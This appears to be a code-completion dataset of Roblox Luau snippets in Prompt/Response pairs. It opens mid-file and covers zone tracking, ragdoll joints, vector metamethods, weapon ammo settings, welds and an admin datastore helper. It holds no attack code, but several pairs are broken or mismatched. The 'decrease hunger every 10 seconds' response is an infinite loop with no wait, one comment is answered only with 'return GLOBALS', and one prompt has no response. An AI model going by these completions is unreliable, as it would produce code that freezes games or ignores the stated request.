	if source0 ~= nil and typeof(source0 :: any) == "table" then
		for key, value in pairs(source0 :: any) do
			if value == None then
				(target :: any)[key] = nil
			else
				(target :: any)[key] = value
			end
		end
	end

	if source1 ~= nil and typeof(source1 :: any) == "table" then
		for key, value in pairs(source1 :: any) do
			if value == None then
				(target :: any)[key] = nil
			else
				(target :: any)[key] = value
			end
		end
	end

	if source2 ~= nil and typeof(source2 :: any) == "table" then
		for key, value in pairs(source2 :: any) do
			if value == None then
				(target :: any)[key] = nil
			else
				(target :: any)[key] = value
			end
		end
	end

	for index = 1, select("#", ...) do
		local rest = select(index, ...)

		if rest ~= nil and typeof(rest) == "table" then
			for key, value in pairs(rest) do
				if value == None then
					(target :: any)[key] = nil
				else
					(target :: any)[key] = value
				end
			end
		end
	end

	-- TODO? we can add & Object to this, if needed by real-world code, once CLI-49825 is fixed
	return (target :: any) :: T & U & V & W
end

return assign


Prompt: --// Ammo Settings

Response:
	Ammo = 40;
	StoredAmmo = 40;
	MagCount = math.huge; --  If you want infinate ammo, set to math.huge EX. MagCount = math.huge;
	ExplosiveAmmo = 10;


Prompt:
--[[
	A component that establishes a connection to a Roblox event when it is rendered.
]]

Response:
local Modules = game:GetService("Players").LocalPlayer.PlayerGui.AvatarEditorInGame.Modules

local Roact = require(Modules.Packages.Roact)
local ExternalEventConnection = Roact.Component:extend("ExternalEventConnection")

function ExternalEventConnection:init()
	self.connection = nil
end


Prompt:
--[[
	Waits for a child to be added with the specified attribute, or returns one
	if it exists already.

	This does not track changes in attributes of children, so the attribute must be present
	when this function is called or when the child is added.
--]]

Response:
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local Attribute = require(ReplicatedStorage.Source.SharedConstants.Attribute)
local findFirstChildWithAttribute = require(ReplicatedStorage.Source.Utility.findFirstChildWithAttribute)

local function waitForChildWithAttributeAsync(parent: Instance, attributeName: Attribute.EnumType, attributeValue: any)
	local childWithAttribute = findFirstChildWithAttribute(parent, attributeName, attributeValue)

	while not childWithAttribute do
		parent.ChildAdded:Wait()
		childWithAttribute = findFirstChildWithAttribute(parent, attributeName, attributeValue)
	end

	return childWithAttribute :: Instance
end

return waitForChildWithAttributeAsync


Prompt: --Stickmasterluke

Response:
sp=script.Parent

timer=20
soundinterval=1

starttime=tick()
attached=false
debris=game:GetService("Debris")

function makeconfetti()
	local explosion = Instance.new("Explosion", sp)
	sp.Anchored = true
	explosion.Position = sp.Position
	sp.PleaseNo:Play()
end

sp.Touched:connect(function(hit)
	if (not attached) and hit and hit~=nil and sp~=nil then
		local ct=sp:FindFirstChild("creator")
		if ct.Value~=nil and ct.Value.Character~=nil then
			if hit.Parent~=ct.Value.Character and hit.Name~="Handle" and hit.Name~="Effect" then
				local h=hit.Parent:FindFirstChild("Humanoid")
				local t=hit.Parent:FindFirstChild("UpperTorso")
				if h~=nil and t~=nil and h.Health>0 then
					attached=true
					local w=Instance.new("Weld")
					w.Part0=t
					w.Part1=sp
					w.C0=CFrame.new(0,0,.8)*CFrame.Angles(math.pi/2,3.5,0)
					w.Parent=sp
				end
			end
		end
	end
end)

while true do
	local percent=(tick()-starttime)/timer
	t1,t2=wait(((1-percent)*soundinterval))

	if percent>1 then
		break
	end
	wait(.1)

end

wait(4)

wait(.5)

wait(2.5)

sp:remove()


Prompt: -- meta methods

Response:
function vec_mt.__add(a, b)
	local at, bt = typeof(a), typeof(b);
	if (at == "Vector" and bt == "Vector") then
		local t = {};
		for k in next, a do
			t[k] = a[k] + b[k];
		end
		return vec.new(t);
	end
end

function vec_mt.__sub(a, b)
	local at, bt = typeof(a), typeof(b);
	if (at == "Vector" and bt == "Vector") then
		local t = {};
		for k in next, a do
			t[k] = a[k] - b[k];
		end
		return vec.new(t);
	end
end

function vec_mt.__mul(a, b)
	local at, bt = typeof(a), typeof(b);
	local aisNum = at == "number";
	if (aisNum or bt == "number") then
		local t = {};
		local v, n = aisNum and b or a, aisNum and a or b;
		for k in next, v do
			t[k] = v[k] * n;
		end
		return vec.new(t);
	elseif (at == "Vector" and bt == "Vector") then
		local t = {};
		for k in next, a do
			t[k] = a[k] * b[k];
		end
		return vec.new(t);
	end
end

function vec_mt.__div(a, b)
	local at, bt = typeof(a), typeof(b);
	if (at == "number") then
		local t = {};
		for k in next, b do
			t[k] = a / b[k];
		end
		return vec.new(t);
	elseif (bt == "number") then
		local t = {};
		for k in next, a do
			t[k] = a[k] / b;
		end
		return vec.new(t);
	elseif (at == "Vector" and bt == "Vector") then
		local t = {};
		for k in next, a do
			t[k] = a[k] / b[k];
		end
		return vec.new(t);
	end
end

function vec_mt.__unm(v)
	local t = {};
	for k in next, v do
		t[k] = -v[k];
	end
	return vec.new(t);
end

function vec_mt.__tostring(v)
	return table.concat(v, ", ");
end


Prompt: -- PUBLIC METHODS

Response:
function Zone:findLocalPlayer()
	if not localPlayer then
		error("Can only call 'findLocalPlayer' on the client!")
	end
	return self:findPlayer(localPlayer)
end

function Zone:_find(trackerName, item)
	ZoneController.updateDetection(self)
	local tracker = ZoneController.trackers[trackerName]
	local touchingZones = ZoneController.getTouchingZones(item, false, self._currentEnterDetection, tracker)
	for _, zone in pairs(touchingZones) do
		if zone == self then
			return true
		end
	end
	return false
end

function Zone:findPlayer(player)
	local character = player.Character
	local humanoid = character and character:FindFirstChildOfClass("Humanoid")
	if not humanoid then
		return false
	end
	return self:_find("player", player.Character)
end

function Zone:findItem(item)
	return self:_find("item", item)
end

function Zone:findPart(part)
	local methodName, args = self:_getRegionConstructor(part, self.overlapParams.zonePartsWhitelist)
	local touchingZoneParts = self.worldModel[methodName](self.worldModel, unpack(args))
	--local touchingZoneParts = self.worldModel:GetPartsInPart(part, self.overlapParams.zonePartsWhitelist)
	if #touchingZoneParts > 0 then
		return true, touchingZoneParts
	end
	return false
end

function Zone:getCheckerPart()
	local checkerPart = self.checkerPart
	if not checkerPart then
		checkerPart = self.janitor:add(Instance.new("Part"), "Destroy")
		checkerPart.Size = Vector3.new(0.1, 0.1, 0.1)
		checkerPart.Name = "ZonePlusCheckerPart"
		checkerPart.Anchored = true
		checkerPart.Transparency = 1
		checkerPart.CanCollide = false
		self.checkerPart = checkerPart
	end
	local checkerParent = self.worldModel
	if checkerParent == workspace then
		checkerParent = ZoneController.getWorkspaceContainer()
	end
	if checkerPart.Parent ~= checkerParent then
		checkerPart.Parent = checkerParent
	end
	return checkerPart
end

function Zone:findPoint(positionOrCFrame)
	local cframe = positionOrCFrame
	if typeof(positionOrCFrame) == "Vector3" then
		cframe = CFrame.new(positionOrCFrame)
	end
	local checkerPart = self:getCheckerPart()
	checkerPart.CFrame = cframe
	--checkerPart.Parent = self.worldModel
	local methodName, args = self:_getRegionConstructor(checkerPart, self.overlapParams.zonePartsWhitelist)
	local touchingZoneParts = self.worldModel[methodName](self.worldModel, unpack(args))
	--local touchingZoneParts = self.worldModel:GetPartsInPart(self.checkerPart, self.overlapParams.zonePartsWhitelist)
	if #touchingZoneParts > 0 then
		return true, touchingZoneParts
	end
	return false
end

function Zone:_getAll(trackerName)
	ZoneController.updateDetection(self)
	local itemsArray = {}
	local zonesAndOccupants = ZoneController._getZonesAndItems(trackerName, {self = true}, self.volume, false, self._currentEnterDetection)
	local occupantsDict = zonesAndOccupants[self]
	if occupantsDict then
		for item, _ in pairs(occupantsDict) do
			table.insert(itemsArray, item)
		end
	end
	return itemsArray
end

function Zone:getPlayers()
	return self:_getAll("player")
end

function Zone:getItems()
	return self:_getAll("item")
end

function Zone:getParts()
	-- This is designed for infrequent 'one off' use
	-- If you plan on checking for parts within a zone frequently, it's recommended you
	-- use the .partEntered and .partExited events instead.
	local partsArray = {}
	if self.activeTriggers["part"] then
		local trackingDict = self.trackingTouchedTriggers["part"]
		for part, _ in pairs(trackingDict) do
			table.insert(partsArray, part)
		end
		return partsArray
	end
	local partsInRegion = self.worldModel:GetPartBoundsInBox(self.region.CFrame, self.region.Size, self.overlapParams.zonePartsIgnorelist)
	for _, part in pairs(partsInRegion) do
		if self:findPart(part) then
			table.insert(partsArray, part)
		end
	end
	return partsArray
end

function Zone:getRandomPoint()
	local region = self.exactRegion
	local size = region.Size
	local cframe = region.CFrame
	local random = Random.new()
	local randomCFrame
	local success, touchingZoneParts
	local pointIsWithinZone
	repeat
		randomCFrame = cframe * CFrame.new(random:NextNumber(-size.X/2,size.X/2), random:NextNumber(-size.Y/2,size.Y/2), random:NextNumber(-size.Z/2,size.Z/2))
		success, touchingZoneParts = self:findPoint(randomCFrame)
		if success then
			pointIsWithinZone = true
		end
	until pointIsWithinZone
	local randomVector = randomCFrame.Position
	return randomVector, touchingZoneParts
end

function Zone:setAccuracy(enumIdOrName)
	local enumId = tonumber(enumIdOrName)
	if not enumId then
		enumId = enum.Accuracy[enumIdOrName]
		if not enumId then
			error(("'%s' is an invalid enumName!"):format(enumIdOrName))
		end
	else
		local enumName = enum.Accuracy.getName(enumId)
		if not enumName then
			error(("%s is an invalid enumId!"):format(enumId))
		end
	end
	self.accuracy = enumId
end

function Zone:setDetection(enumIdOrName)
	local enumId = tonumber(enumIdOrName)
	if not enumId then
		enumId = enum.Detection[enumIdOrName]
		if not enumId then
			error(("'%s' is an invalid enumName!"):format(enumIdOrName))
		end
	else
		local enumName = enum.Detection.getName(enumId)
		if not enumName then
			error(("%s is an invalid enumId!"):format(enumId))
		end
	end
	self.enterDetection = enumId
	self.exitDetection = enumId
end

function Zone:trackItem(instance)
	local isBasePart = instance:IsA("BasePart")
	local isCharacter = false
	if not isBasePart then
		isCharacter = instance:FindFirstChildOfClass("Humanoid") and instance:FindFirstChild("HumanoidRootPart")
	end

	assert(isBasePart or isCharacter, "Only BaseParts or Characters/NPCs can be tracked!")

	if self.trackedItems[instance] then
		return
	end
	if self.itemsToUntrack[instance] then
		self.itemsToUntrack[instance] = nil
	end

	local itemJanitor = self.janitor:add(Janitor.new(), "destroy")
	local itemDetail = {
		janitor = itemJanitor,
		item = instance,
		isBasePart = isBasePart,
		isCharacter = isCharacter,
	}
	self.trackedItems[instance] = itemDetail

	itemJanitor:add(instance.AncestryChanged:Connect(function()
		if not instance:IsDescendantOf(game) then
			self:untrackItem(instance)
		end
	end), "Disconnect")

	local Tracker = require(trackerModule)
	Tracker.itemAdded:Fire(itemDetail)
end

function Zone:untrackItem(instance)
	local itemDetail = self.trackedItems[instance]
	if itemDetail then
		itemDetail.janitor:destroy()
	end
	self.trackedItems[instance] = nil

	local Tracker = require(trackerModule)
	Tracker.itemRemoved:Fire(itemDetail)
end

function Zone:bindToGroup(settingsGroupName)
	self:unbindFromGroup()
	local group = ZoneController.getGroup(settingsGroupName) or ZoneController.setGroup(settingsGroupName)
	group._memberZones[self.zoneId] = self
	self.settingsGroupName = settingsGroupName
end

function Zone:unbindFromGroup()
	if self.settingsGroupName then
		local group = ZoneController.getGroup(self.settingsGroupName)
		if group then
			group._memberZones[self.zoneId] = nil
		end
		self.settingsGroupName = nil
	end
end

function Zone:relocate()
	if self.hasRelocated then
		return
	end

	local CollectiveWorldModel = require(collectiveWorldModelModule)
	local worldModel = CollectiveWorldModel.setupWorldModel(self)
	self.worldModel = worldModel
	self.hasRelocated = true

	local relocationContainer = self.container
	if typeof(relocationContainer) == "table" then
		relocationContainer = Instance.new("Folder")
		for _, zonePart in pairs(self.zoneParts) do
			zonePart.Parent = relocationContainer
		end
	end
	self.relocationContainer = self.janitor:add(relocationContainer, "Destroy", "RelocationContainer")
	relocationContainer.Parent = worldModel
end

function Zone:_onItemCallback(eventName, desiredValue, instance, callbackFunction)
	local detail = self.onItemDetails[instance]
	if not detail then
		detail = {}
		self.onItemDetails[instance] = detail
	end
	if #detail == 0 then
		self.itemsToUntrack[instance] = true
	end
	table.insert(detail, instance)
	self:trackItem(instance)

	local function triggerCallback()
		callbackFunction()
		if self.itemsToUntrack[instance] then
			self.itemsToUntrack[instance] = nil
			self:untrackItem(instance)
		end
	end

	local inZoneAlready = self:findItem(instance)
	if inZoneAlready == desiredValue then
		triggerCallback()
	else
		local connection
		connection = self[eventName]:Connect(function(item)
			if connection and item == instance then
				connection:Disconnect()
				connection = nil
				triggerCallback()
			end
		end)
		--[[
		if typeof(expireAfterSeconds) == "number" then
			task.delay(expireAfterSeconds, function()
				if connection ~= nil then
					print("EXPIRE!")
					connection:Disconnect()
					connection = nil
					triggerCallback()
				end
			end)
		end
		--]]
	end
end

function Zone:onItemEnter(...)
	self:_onItemCallback("itemEntered", true, ...)
end

function Zone:onItemExit(...)
	self:_onItemCallback("itemExited", false, ...)
end

function Zone:destroy()
	self:unbindFromGroup()
	self.janitor:destroy()
end
Zone.Destroy = Zone.destroy

return Zone


Prompt:
--[[
	RbxApi.Classes
	RbxApi.Enums
	RbxApi.GetProperties(className)
	RbxApi.IsEnum(valueType)
--]]


Prompt: -- << RETRIEVE FRAMEWORK >>

Response: local main = require(game:GetService("ReplicatedStorage"):WaitForChild("HDAdminSetup")):GetMain()


Prompt: --Valve Properties

Response:
local BOVsound = car.DriveSeat.BOV
BOVsound.Volume = 0.4 --Bov Volume
BOVsound.Pitch = 1 -- Pitch [Don't change this]
BOVsound.SoundId = "rbxassetid://256679963" --Sound

local CPSI = 0
local Values = script.Parent.Parent:FindFirstChild("A-Chassis Interface")
local Throttle = Values.Values.Throttle.Value
local CurrentGear = Values.Values.Gear.Value
local CurrentRPM = Values.Values.RPM.Value
local _Tune = require(car["A-Chassis Tune"])
local MaxRPM = _Tune.Redline
Values.Values.TPSI.Value = PSI
local DEADBOOST = PSI - 0.5
local active = false
local boom = true


Prompt: --character:WaitForChild("Humanoid").Died:connect(function()

Response:
	wait()

	--Make it so ragdoll can't collide with invisible HRP, but don't let HRP fall through map and be destroyed in process
	character.HumanoidRootPart.Anchored = true
	character.HumanoidRootPart.CanCollide = false

	--Helps to fix constraint spasms
	wait()
	recurse(character, function(_,v)
		if v:IsA("Attachment") then
			v.Axis = Vector3.new(0, 1, 0)
			v.SecondaryAxis = Vector3.new(0, 0, 1)
			v.Rotation = Vector3.new(0, 0, 0)
		end
	end)

	--Re-attach hats
	for _,child in next,character:GetChildren() do
		if child:IsA("Accoutrement") then
			--Loop through all parts instead of only checking for one to be forwards-compatible in the event
			--ROBLOX implements multi-part accessories
			child:Destroy()
		end
	end
	ragdollJoint(character.LowerTorso, character.UpperTorso, "Waist", "BallSocket", {
		{"LimitsEnabled",true};
		{"UpperAngle",5};
	})
	ragdollJoint(character.UpperTorso, character.Head, "Neck", "BallSocket", {
		{"LimitsEnabled",true};
		{"UpperAngle",15};
	})

	local handProperties = {
		{"LimitsEnabled", true};
		{"UpperAngle",0};
		{"LowerAngle",0};
	}
	ragdollJoint(character.LeftLowerArm, character.LeftHand, "LeftWrist", "Hinge", handProperties)
	ragdollJoint(character.RightLowerArm, character.RightHand, "RightWrist", "Hinge", handProperties)

	local shinProperties = {
		{"LimitsEnabled", true};
		{"UpperAngle", 0};
		{"LowerAngle", -75};
	}
	ragdollJoint(character.LeftUpperLeg, character.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties)
	ragdollJoint(character.RightUpperLeg, character.RightLowerLeg, "RightKnee", "Hinge", shinProperties)

	local footProperties = {
		{"LimitsEnabled", true};
		{"UpperAngle", 15};
		{"LowerAngle", -45};
	}
	ragdollJoint(character.LeftLowerLeg, character.LeftFoot, "LeftAnkle", "Hinge", footProperties)
	ragdollJoint(character.RightLowerLeg, character.RightFoot, "RightAnkle", "Hinge", footProperties)

	--TODO fix ability for socket to turn backwards whenn ConeConstraints are shipped
	ragdollJoint(character.UpperTorso, character.LeftUpperArm, "LeftShoulder", "BallSocket")
	ragdollJoint(character.LeftUpperArm, character.LeftLowerArm, "LeftElbow", "BallSocket")
	ragdollJoint(character.UpperTorso, character.RightUpperArm, "RightShoulder", "BallSocket")
	ragdollJoint(character.RightUpperArm, character.RightLowerArm, "RightElbow", "BallSocket")
	ragdollJoint(character.LowerTorso, character.LeftUpperLeg, "LeftHip", "BallSocket")
	ragdollJoint(character.LowerTorso, character.RightUpperLeg, "RightHip", "BallSocket")
	local cc = script.Parent
	wait()
	while wait() do
		script.Parent.UpperTorso.Velocity = Vector3.new(0,-10,0)
	end


Prompt: --By: StealthCloset AKA StealthMouse

Response:
function onTouched(hit)
	local human = hit.Parent:findFirstChild("Humanoid")
	if (human == nil ) then return end
	local PlayerName = hit.Parent.Name
	if (PlayerName == nil) then return end

	local NameOfTool = "HUD"
	if (game.Players:findFirstChild(PlayerName).PlayerGui:findFirstChild(NameOfTool) == nil) then
		if (script:findFirstChild(NameOfTool) ~= nil) then
			script:findFirstChild(NameOfTool):clone().Parent = game.Players:findFirstChild(PlayerName).PlayerGui
			game.Players:findFirstChild(PlayerName).PlayerGui:findFirstChild(NameOfTool):findFirstChild("LocalScript").PNames.Value = (PlayerName)
		end
	end
	wait(1)
end

script.Parent.Touched:connect(onTouched)


Prompt: --[[Weld functions]]

Response:
	local JS = game:GetService("JointsService")
	local PGS_ON = workspace:PGSIsEnabled()

	function MakeWeld(x,y,type,s)
		if type==nil then type="Weld" end
		local W=Instance.new(type,JS)
		W.Part0=x W.Part1=y
		W.C0=x.CFrame:inverse()*x.CFrame
		W.C1=y.CFrame:inverse()*x.CFrame
		if type=="Motor" and s~=nil then
			W.MaxVelocity=s
		end
		return W
	end

	function ModelWeld(a,b)
		if a:IsA("BasePart") then
			MakeWeld(b,a,"Weld")
		elseif a:IsA("Model") or a:IsA("Folder") then
			for i,v in pairs(a:GetChildren()) do
				ModelWeld(v,b)
			end
		end
	end

	function UnAnchor(a)
		if a:IsA("BasePart") then a.Anchored=false  end for i,v in pairs(a:GetChildren()) do UnAnchor(v) end
	end


Prompt: -- << FUNCTIONS >>

Response:
function module:GetData(dataStore, datastoreRetries, key)
	return module:DataStoreRetry(datastoreRetries, function()
		return dataStore:GetAsync(key)
	end)
end

function module:DataStoreRetry(datastoreRetries, dataStoreFunction)
	local tries = 0
	local success = true
	local data = nil
	local errorMsg = ""
	repeat
		tries = tries + 1
		success, errorMsg = pcall(function() data = dataStoreFunction() end)
		if not success then wait(1) end
	until tries == datastoreRetries or success
	if not success then
		warn("HD Admin | Could not access DataStore | ".. tostring(errorMsg))
		 --Cannot access DataStore
	end
	return success, data
end

return module


Prompt: ----- Script: ------

Response:
local function UpdateButton ()
	if Skin.Quantity.Value == 0 then
		Button.Visible = false
	else
		Button.Visible = true
	end
end

local function QuantityTextUpdate ()
	QuantityText.Text = Skin.Quantity.Value
end

Skin.Quantity.Changed:Connect(UpdateButton)
Skin.Quantity.Changed:Connect(QuantityTextUpdate)

QuantityTextUpdate()
UpdateButton()

Button.Activated:Connect(function()

	InformationText.Text = LocalInformationText.Value
	InformationCaseText.Text = LocalCaseInformationText.Value
	InformationImage.Image = Image.Image

end)


Prompt: --Main

Response:
function handleEquip(tool)
	if tool then
		if tool.Parent ~= char then
			hum:EquipTool(tool)
		else
			hum:UnequipTools()
		end
	end
end

function create()

	local toShow = #inputOrder
	local totalX = (toShow*iconSize.X.Offset)+((toShow+1)*iconBorder.x)
	local totalY = iconSize.Y.Offset + (2*iconBorder.y)

	frame.Size = UDim2.new(0, totalX, 0, totalY)
	frame.Position = UDim2.new(0.5, -(totalX/2), 1, -(totalY+(iconBorder.y*2)))
	frame.Visible = true

	for i = 1, #inputOrder do

		local value = inputOrder[i]
		local clone = template:Clone()
		clone.Parent = frame
		clone.Label.Text = value["txt"]
		clone.Name = value["txt"]
		clone.Visible = true
		clone.Position = UDim2.new(0, (i-1)*(iconSize.X.Offset)+(iconBorder.x*i), 0, iconBorder.y)
		clone.ImageTransparency = unequipped

		local tool = value["tool"]
		if tool then
			clone.Tool.Image = tool.TextureId
		end

		clone.Tool.MouseButton1Down:Connect(function()
			for key, value in pairs(inputKeys) do
				if value["txt"] == clone.Name then
					handleEquip(value["tool"])
				end
			end
		end)

	end
	template:Destroy()
end

function setup()
	local tools = bp:GetChildren()
	for i = 1, #tools do
		for i = 1, #inputOrder do
			local value = inputOrder[i]
			if not value["tool"] then
				value["tool"] = tools[i]
				break
			end
		end
	end
	create()
end

function adjust()
	for key, value in pairs(inputKeys) do
		local tool = value["tool"]
		local icon = frame:FindFirstChild(value["txt"])
		if tool then
			icon.Tool.Image = tool.TextureId
			if tool.Parent == char then
				icon.ImageTransparency = equipped
			else
				icon.ImageTransparency = unequipped
			end
		else
			icon.Tool.Image = ""
			icon.ImageTransparency = unequipped
		end
	end
end

function onKeyPress(inputObject)
	local key = inputObject.KeyCode.Name
	local value = inputKeys[key]
	if value and uis:GetFocusedTextBox() == nil then
		handleEquip(value["tool"])
	end
end

function handleAddition(adding)

	if adding:IsA("Tool") then
		local new = true

		for key, value in pairs(inputKeys) do
			local tool = value["tool"]
			if tool then
				if tool == adding then
					new = false
				end
			end
		end

		if new then
			for i = 1, #inputOrder do
				local tool = inputOrder[i]["tool"]
				if not tool then
					inputOrder[i]["tool"] = adding
					break
				end
			end
		end

	adjust()
	end
end

function handleRemoval(removing)
	if removing:IsA("Tool") then
		if removing.Parent ~= char and removing.Parent ~= bp then

			for i = 1, #inputOrder do
				if inputOrder[i]["tool"] == removing then
					inputOrder[i]["tool"] = nil
					break
				end
			end
		end

		adjust()
	end
end

uis.InputBegan:Connect(onKeyPress) --keyinput

char.ChildAdded:Connect(handleAddition)
char.ChildRemoved:Connect(handleRemoval)

bp.ChildAdded:Connect(handleAddition)
bp.ChildRemoved:Connect(handleRemoval)

setup()


Prompt: -- must be higher than REPLICATION_JITTER_TIME

Response: return GLOBALS


Prompt: -- turn off the viewmodel system

Response:
local function disableviewmodel()
	isfirstperson = false
	if viewmodel.Parent ~= nil then
		viewmodel.Parent = nil
	end
	if rigtype == "R15" then
		-- disable viewmodel joints, enable real character joints
		rightshoulderclone.Enabled = false
		leftshoulderclone.Enabled = false
		viewmodel.Parent = nil
		-- reset shoulder joints to normal
		leftshoulder.Parent = larm
		leftshoulder.Part0 = torso
		leftshoulder.Part1 = larm
		rightshoulder.Parent = rarm
		rightshoulder.Part0 = torso
		rightshoulder.Part1 = rarm
		--
		leftshoulder.Enabled = true
		rightshoulder.Enabled = true
		--
		armtransparency = 0
		visiblearms(false)
	else
		rightshoulderclone.Enabled = false
		leftshoulderclone.Enabled = false
		viewmodel.Parent = nil
		-- reset shoulder joints to normal, anchor the arms
		--[[
		leftshoulder.Parent = torso
		leftshoulder.Part0 = torso
		leftshoulder.Part1 = larm
		rightshoulder.Parent = torso
		rightshoulder.Part0 = torso
		rightshoulder.Part1 = rarm]]
		--

		larm.Anchored = false
		rarm.Anchored = false

		leftshoulder.Enabled = true
		rightshoulder.Enabled = true

		--
		armtransparency = 0
		visiblearms(false)
	end
end


Prompt: -- Decrease hunger by 1 every 10 seconds

Response:
while true do
	updateHunger(-1)
	displayHunger()
end